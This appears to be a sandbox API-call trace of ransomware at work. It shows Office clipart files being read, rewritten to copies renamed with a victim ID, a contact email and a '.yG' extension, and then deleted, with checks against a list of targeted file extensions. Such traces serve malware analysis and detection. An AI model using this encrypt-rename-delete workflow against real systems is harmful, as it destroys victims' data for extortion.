	[0167.737] lstrlenW (lpString=".xlsx") returned 5
	[0167.737] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.737] lstrlenW (lpString=".ppt") returned 4
	[0167.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.737] lstrlenW (lpString=".zip") returned 4
	[0167.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.737] lstrlenW (lpString=".rar") returned 4
	[0167.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.737] lstrlenW (lpString=".bz2") returned 4
	[0167.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.737] lstrlenW (lpString=".7z") returned 3
	[0167.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.737] lstrlenW (lpString=".dbf") returned 4
	[0167.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.737] lstrlenW (lpString=".1cd") returned 4
	[0167.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68
	[0167.737] lstrlenW (lpString=".jpg") returned 4
	[0167.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.738] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2912) returned 1
	[0167.738] CloseHandle (hObject=0x554) returned 1
	[0167.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220
	[0167.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0167.740] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.740] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0167.742] GetLastError () returned 0x0
	[0167.742] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xb60, lpOverlapped=0x0) returned 1
	[0167.761] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xb70, lpOverlapped=0x0) returned 1
	[0167.762] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.788] WriteFile (in: hFile=0x48c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.788] SetEndOfFile (hFile=0x48c) returned 1
	[0167.788] CloseHandle (hObject=0x48c) returned 1
	[0167.788] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.788] SetEndOfFile (hFile=0x554) returned 1
	[0167.793] CloseHandle (hObject=0x554) returned 1
	[0167.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1
	[0167.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.915] lstrlenW (lpString=".doc") returned 4
	[0167.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.915] lstrlenW (lpString=".docx") returned 5
	[0167.915] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.915] lstrlenW (lpString=".pdf") returned 4
	[0167.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString=".xls") returned 4
	[0167.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.916] lstrlenW (lpString=".xlsx") returned 5
	[0167.916] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.916] lstrlenW (lpString=".ppt") returned 4
	[0167.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.916] lstrlenW (lpString=".zip") returned 4
	[0167.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.916] lstrlenW (lpString=".rar") returned 4
	[0167.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString=".bz2") returned 4
	[0167.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString=".7z") returned 3
	[0167.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.916] lstrlenW (lpString=".dbf") returned 4
	[0167.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.916] lstrlenW (lpString=".1cd") returned 4
	[0167.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68
	[0167.916] lstrlenW (lpString=".jpg") returned 4
	[0167.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.917] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8680) returned 1
	[0167.917] CloseHandle (hObject=0x550) returned 1
	[0167.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220
	[0167.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0167.919] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.919] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.920] GetLastError () returned 0x0
	[0167.920] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x21e8, lpOverlapped=0x0) returned 1
	[0167.931] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x21f0, lpOverlapped=0x0) returned 1
	[0167.933] ReadFile (in: hFile=0x550, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.934] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.934] SetEndOfFile (hFile=0x53c) returned 1
	[0167.934] CloseHandle (hObject=0x53c) returned 1
	[0167.934] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.934] SetEndOfFile (hFile=0x550) returned 1
	[0167.938] CloseHandle (hObject=0x550) returned 1
	[0167.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1
	[0168.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.115] lstrlenW (lpString=".doc") returned 4
	[0168.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString=".docx") returned 5
	[0168.116] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.116] lstrlenW (lpString=".pdf") returned 4
	[0168.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString=".xls") returned 4
	[0168.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.116] lstrlenW (lpString=".xlsx") returned 5
	[0168.116] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.116] lstrlenW (lpString=".ppt") returned 4
	[0168.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.116] lstrlenW (lpString=".zip") returned 4
	[0168.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.116] lstrlenW (lpString=".rar") returned 4
	[0168.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString=".bz2") returned 4
	[0168.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString=".7z") returned 3
	[0168.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.116] lstrlenW (lpString=".dbf") returned 4
	[0168.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.116] lstrlenW (lpString=".1cd") returned 4
	[0168.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0168.117] lstrlenW (lpString=".jpg") returned 4
	[0168.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.444] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=13808) returned 1
	[0168.444] CloseHandle (hObject=0x560) returned 1
	[0168.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220
	[0168.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.446] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.446] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.447] GetLastError () returned 0x0
	[0168.448] ReadFile (in: hFile=0x560, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x35f0, lpOverlapped=0x0) returned 1
	[0168.474] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3600, lpOverlapped=0x0) returned 1
	[0168.476] ReadFile (in: hFile=0x560, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.476] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.476] SetEndOfFile (hFile=0x53c) returned 1
	[0168.477] CloseHandle (hObject=0x53c) returned 1
	[0168.477] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.477] SetEndOfFile (hFile=0x560) returned 1
	[0168.484] CloseHandle (hObject=0x560) returned 1
	[0168.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1
	[0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.486] lstrlenW (lpString=".doc") returned 4
	[0168.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.486] lstrlenW (lpString=".docx") returned 5
	[0168.486] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.486] lstrlenW (lpString=".pdf") returned 4
	[0168.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.486] lstrlenW (lpString=".xls") returned 4
	[0168.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.486] lstrlenW (lpString=".xlsx") returned 5
	[0168.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.487] lstrlenW (lpString=".ppt") returned 4
	[0168.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.487] lstrlenW (lpString=".zip") returned 4
	[0168.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.487] lstrlenW (lpString=".rar") returned 4
	[0168.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.487] lstrlenW (lpString=".bz2") returned 4
	[0168.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.487] lstrlenW (lpString=".7z") returned 3
	[0168.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.487] lstrlenW (lpString=".dbf") returned 4
	[0168.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.487] lstrlenW (lpString=".1cd") returned 4
	[0168.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68
	[0168.487] lstrlenW (lpString=".jpg") returned 4
	[0168.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.488] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=19600) returned 1
	[0168.488] CloseHandle (hObject=0x560) returned 1
	[0168.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220
	[0168.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.490] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.490] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.493] GetLastError () returned 0x0
	[0168.493] ReadFile (in: hFile=0x560, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4c90, lpOverlapped=0x0) returned 1
	[0168.510] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4ca0, lpOverlapped=0x0) returned 1
	[0168.512] ReadFile (in: hFile=0x560, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.512] WriteFile (in: hFile=0x53c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.513] SetEndOfFile (hFile=0x53c) returned 1
	[0168.513] CloseHandle (hObject=0x53c) returned 1
	[0168.513] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.513] SetEndOfFile (hFile=0x560) returned 1
	[0168.525] CloseHandle (hObject=0x560) returned 1
	[0168.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1
	[0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.827] lstrlenW (lpString=".doc") returned 4
	[0168.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.827] lstrlenW (lpString=".docx") returned 5
	[0168.828] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.828] lstrlenW (lpString=".pdf") returned 4
	[0168.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.828] lstrlenW (lpString=".xls") returned 4
	[0168.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.828] lstrlenW (lpString=".xlsx") returned 5
	[0168.828] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.828] lstrlenW (lpString=".ppt") returned 4
	[0168.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.828] lstrlenW (lpString=".zip") returned 4
	[0168.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.828] lstrlenW (lpString=".rar") returned 4
	[0168.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.828] lstrlenW (lpString=".bz2") returned 4
	[0168.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.828] lstrlenW (lpString=".7z") returned 3
	[0168.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.829] lstrlenW (lpString=".dbf") returned 4
	[0168.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.829] lstrlenW (lpString=".1cd") returned 4
	[0168.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0168.829] lstrlenW (lpString=".jpg") returned 4
	[0168.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.914] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.914] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.915] GetLastError () returned 0x0
